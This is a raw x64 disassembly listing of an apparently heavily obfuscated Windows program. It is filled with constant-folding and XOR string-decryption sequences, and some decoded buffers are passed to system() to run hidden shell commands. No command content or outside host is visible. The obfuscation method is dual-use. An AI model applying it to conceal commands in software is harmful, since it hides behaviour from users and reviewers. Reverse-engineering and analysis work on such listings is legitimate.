call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5232
mov r8d, 0x4e38728a
pushf
not r8d
add r8d, 0xbae97200
xor r8d, 0xf97931d5
rol r8d, 0x1f
popf
pushf
not r8d
add r8d, 0xb04cd9c8
xor r8d, 0xe466fd42
rol r8d, 0xf5
popf
pushf
not r8d
add r8d, 0xbf307b59
xor r8d, 0xd8804309
rol r8d, 2
popf
lea rdx, [0x187f75c56]
pushf
sub rdx, 0x47ef1b46
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d4ecc
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d4ee9
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d4f2a
push rax
pushf
mov eax, 0x1d8c7dd0
pushf
not eax
add eax, 0xebb14353
xor eax, 0xba705e84
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xe549ed2e
xor eax, 0xcb779ac1
rol eax, 0xf2
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x2edd2f60
pushf
not eax
add eax, 0x94e20045
xor eax, 0x90e9434f
rol eax, 0xee
popf
pushf
not eax
add eax, 0xeccbed64
xor eax, 0x87ef2fa8
rol eax, 0x92
popf
jmp 0x1400d09a0
movabs rax, 0xdd1545a98bf54f77
pushf
not rax
add rax, 0x6fa591d3
xor rax, 0x574414c3
rol rax, 0x37
popf
pushf
not rax
add rax, 0x42de8843
xor rax, 0x75304c1a
rol rax, 0x7e
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x38be8195691134e6
pushf
not rax
add rax, 0x65f88d5b
xor rax, 0x723c4aba
rol rax, 0xd4
popf
pushf
not rax
add rax, 0x58fddff7
xor rax, 0x679e3968
rol rax, 0xf7
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xb49ff28a4ee5f46d
pushf
not rax
add rax, 0x7a973796
xor rax, 0x693981ca
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x63e06f41
xor rax, 0x5ce35304
rol rax, 0xe7
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0xc65a5a5175c6fb55
pushf
not rax
add rax, 0x55810962
xor rax, 0x505c3b7d
rol rax, 0xac
popf
pushf
not rax
add rax, 0x79af7965
xor rax, 0x45ef3128
rol rax, 0x32
popf
pushf
not rax
add rax, 0x6adeccd7
xor rax, 0x65a2424a
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x71c37c7c
xor rax, 0x695b9a9c
rol rax, 0x49
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d50e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d50f4
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18c90215b]
pushf
sub rdx, 0x4c8fa13b
popf
mov rcx, rax
jmp 0x1400d5110
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.1401157af
test rax, rax
jne 0x1400d5158
push rax
pushf
mov eax, 0x10811cc5
pushf
not eax
add eax, 0xf5daf081
xor eax, 0xd185addb
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x96136316
xor eax, 0xfa8394df
rol eax, 0xdc
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x1bfa442e
pushf
not eax
add eax, 0xe0c72246
xor eax, 0xe1e8e620
rol eax, 0x36
popf
pushf
not eax
add eax, 0xe9f7a910
xor eax, 0xa525ef45
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xa4616b22
xor eax, 0xd7caed82
rol eax, 0xde
popf
pushf
not eax
add eax, 0xc1faade8
xor eax, 0x8bbf2bb1
rol eax, 0x2b
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d51d3
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xbed3fc85
pushf
not eax
add eax, 0x83e67784
xor eax, 0x93d1dd63
rol eax, 0x89
popf
pushf
not eax
add eax, 0xe7441361
xor eax, 0xd19af41b
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xf951237d
xor eax, 0xceecaba6
rol eax, 0x89
popf
pushf
not eax
add eax, 0xf6b1d297
xor eax, 0x9993e55a
rol eax, 0x2c
popf
jmp 0x1400d09a0
movabs rax, 0xbc6885f70fb7fb97
pushf
not rax
add rax, 0x61b3427d
xor rax, 0x5d28a897
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5b9d5da1
xor rax, 0x4a9d6674
rol rax, 0x42
popf
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d52a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d52ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
jmp 0x1400d4102
lea rcx, [rsp + 0x78]
call fcn.1401157af
test rax, rax
jne 0x1400d5389
push rax
pushf
mov eax, 0xf443853b
pushf
not eax
add eax, 0x9ce7899b
xor eax, 0xf108ce4c
rol eax, 0x55
popf
pushf
not eax
add eax, 0x8e80c4b0
xor eax, 0xefda6c72
rol eax, 0x68
popf
pushf
not eax
add eax, 0xabe151e5
xor eax, 0x9bfded41
rol eax, 0x28
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xb3019f5e
pushf
not eax
add eax, 0xaffdf1ca
xor eax, 0xd1b3d444
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe51b5960
xor eax, 0xa7809caa
rol eax, 0x8f
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d53de
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0xe93714aa
pushf
not eax
add eax, 0x9b152df7
xor eax, 0xbdcb8f24
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xfb8246be
xor eax, 0xd794b4c5
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xdf937caf
xor eax, 0x922e9629
rol eax, 1
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce5a9
lea rcx, [rbp - 0x80]
jmp 0x1400d545a
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d5465
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movabs rdi, 0xddc18564b1b27ca
pushf
not rdi
add rdi, 0x44758e32
xor rdi, 0x59ba75d3
rol rdi, 0xe8
popf
pushf
not rdi
add rdi, 0x6f4a28b8
xor rdi, 0x6e5a29d6
rol rdi, 0x55
popf
pushf
not rdi
add rdi, 0x4ba36541
xor rdi, 0x780abb9e
rol rdi, 0x1f
popf
push rax
pushf
mov eax, 0xf2a5d3c5
pushf
not eax
add eax, 0xf25b9dcd
xor eax, 0x84c9a345
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x8ef1c94c
xor eax, 0xedb41b97
rol eax, 0xfa
popf
jmp 0x1400d09a0
movabs rax, 0x1b8c82fc1bbb94dc
pushf
not rax
add rax, 0x7be646c9
xor rax, 0x798b3bb7
rol rax, 0x70
popf
pushf
not rax
add rax, 0x66fb0f31
xor rax, 0x41324bbb
rol rax, 0xe5
popf
mov qword [rbp + 0x80], rax
movabs rbx, 0x52826bf4eacef676
pushf
not rbx
add rbx, 0x62d136c8
xor rbx, 0x6835960e
rol rbx, 0x17
popf
pushf
not rbx
add rbx, 0x590843fa
xor rbx, 0x46c86cf1
rol rbx, 0x7a
popf
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c1ea6
test al, al
jne 0x1400d5607
push rax
pushf
mov eax, 0x4520e367
pushf
not eax
add eax, 0xbde594ed
xor eax, 0xb7f336db
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x91d07f5a
xor eax, 0xbd0a5775
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xd1a25d27
xor eax, 0x8abeb940
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xf8078b6d
xor eax, 0xbfed08fe
rol eax, 0x30
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x6de93fa4
pushf
not eax
add eax, 0xa3c1350e
xor eax, 0xe3c5f2d6
rol eax, 0x43
popf
pushf
not eax
add eax, 0xc209cbc0
xor eax, 0xa988321b
rol eax, 0x72
popf
pushf
not eax
add eax, 0xc6f3c7aa
xor eax, 0xc5a8e3e3
rol eax, 0x4d
popf
jmp 0x1400d09a0
movabs rax, 0xf842be4c41b442a6
pushf
not rax
add rax, 0x53db3bc0
xor rax, 0x71de5677
rol rax, 5
popf
pushf
not rax
add rax, 0x62b2b6de
xor rax, 0x460f17d3
rol rax, 0x99
popf
pushf
not rax
add rax, 0x7ff4f165
xor rax, 0x5a840be4
rol rax, 0x34
popf
pushf
not rax
add rax, 0x4d5d3c80
xor rax, 0x6eba32e2
rol rax, 0x50
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x38889bf7d951a41c
pushf
not rax
add rax, 0x7618cbce
xor rax, 0x431730c5
rol rax, 0x19
popf
pushf
not rax
add rax, 0x4167b1e5
xor rax, 0x4736fce4
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x6ec48851
xor rax, 0x6d3c0908
rol rax, 0x71
popf
pushf
not rax
add rax, 0x703f8b85
xor rax, 0x7bae5520
rol rax, 0x7f
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xdf5b748f24289dea
pushf
not rax
add rax, 0x5815a958
xor rax, 0x699508ca
rol rax, 0x33
popf
pushf
not rax
add rax, 0x46320056
xor rax, 0x509ae1a1
rol rax, 0xa6
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x30c80e017a876948
pushf
not rax
add rax, 0x59ab8e6e
xor rax, 0x71a4d469
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x4ccb7e8c
xor rax, 0x4337d06f
rol rax, 0xb
popf
pushf
not rax
add rax, 0x4d60886f
xor rax, 0x709164ed
rol rax, 0x72
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x8ed5b64de2c7913b
pushf
not rax
add rax, 0x669e23d4
xor rax, 0x6bfa8f7c
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x6fe03409
xor rax, 0x54d84888
rol rax, 0xac
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movabs rcx, 0x8fa70ace3aa4dbd2
pushf
not rcx
add rcx, 0x74a1dd7a
xor rcx, 0x681a40cf
rol rcx, 0xb8
popf
pushf
not rcx
add rcx, 0x5b4b309a
xor rcx, 0x5d3597f9
rol rcx, 0xeb
popf
pushf
not rcx
add rcx, 0x72d1d853
xor rcx, 0x59864b3f
rol rcx, 0xa7
popf
pushf
not rcx
add rcx, 0x4cbf692d
xor rcx, 0x5afce0d6
rol rcx, 0x73
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8eaf
lea rdx, [0x1a46560fe]
pushf
sub rdx, 0x6464e0de
popf
mov rcx, rax
jmp 0x1400d5908
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xe69205c31856db33
pushf
not rax
add rax, 0x73cecd1a
xor rax, 0x7e31c709
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x431db4bf
xor rax, 0x6d9f106e
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x66f58123
xor rax, 0x7d672f74
rol rax, 0xcc
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d5998
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
push rax
pushf
mov eax, 0xd0a36fce
pushf
not eax
add eax, 0xd9a72b1d
xor eax, 0xdf45ec5e
rol eax, 0x45
popf
pushf
not eax
add eax, 0xc289bce2
xor eax, 0x978f337e
rol eax, 0x41
popf
pushf
not eax
add eax, 0xc2f1fae1
xor eax, 0xe68e056e
rol eax, 0xf9
popf
jmp 0x1400d09a0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400d5a49
push rax
pushf
mov eax, 0xafb66995
pushf
not eax
add eax, 0x901e3f82
xor eax, 0x9aa4fcce
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb59f7551
xor eax, 0x806c8c42
rol eax, 0x38
popf
pushf
not eax
add eax, 0x9158294a
xor eax, 0xaf867255
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcb250438
xor eax, 0xb61828b2
rol eax, 0x82
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x5911255b
pushf
not eax
add eax, 0xb2a32057
xor eax, 0x8125dd91
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xc4aa8341
xor eax, 0xea01800c
rol eax, 0x97
popf
pushf
not eax
add eax, 0xe6154177
xor eax, 0x9fb69a00
rol eax, 0x2a
popf
jmp 0x1400d09a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d5aee
push rax
pushf
mov eax, 0xe889e77f
pushf
not eax
add eax, 0xdc26fa8e
xor eax, 0xb0c94d3f
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb6ce86c3
xor eax, 0xd7113bf7
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x9890ada3
xor eax, 0xfc3ec38e
rol eax, 0xef
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x278085b9
pushf
not eax
add eax, 0x8ed99ec5
xor eax, 0xbaf77cb9
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x9434b8b7
xor eax, 0xc1298473
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x844cac0e
xor eax, 0xc4c423ee
rol eax, 0x29
popf
jmp 0x1400d09a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d5ba2
push rax
pushf
mov eax, 0x330e8391
pushf
not eax
add eax, 0x95cb4947
xor eax, 0xbc492708
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x8f6041b8
xor eax, 0x870dae2f
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xfff78e2c
xor eax, 0xd588f2bf
rol eax, 0x65
popf
pushf
not eax
add eax, 0xc207c5e2
xor eax, 0xf94db8cd
rol eax, 0x71
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x1a3dbeab
pushf
not eax
add eax, 0xde8da682
xor eax, 0x923f2f98
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xdd9fcb74
xor eax, 0x96871186
rol eax, 0x71
popf
pushf
not eax
add eax, 0xadad9c3e
xor eax, 0xa5198e71
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xbe54f8fb
xor eax, 0xea3077d8
rol eax, 0xdc
popf
jmp 0x1400d09a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3c47
push rax
pushf
mov eax, 0x790fe824
pushf
not eax
add eax, 0xd5802b90
xor eax, 0xc243d9d8
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe7b8dc95
xor eax, 0xe5e13a19
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc4d172f1
xor eax, 0xff884d0f
rol eax, 0xe
popf
jmp 0x1400d09a0
mov eax, r12d
jmp 0x1400d1494
call fcn.1400e25f6
int3
call fcn.1400a293a
int3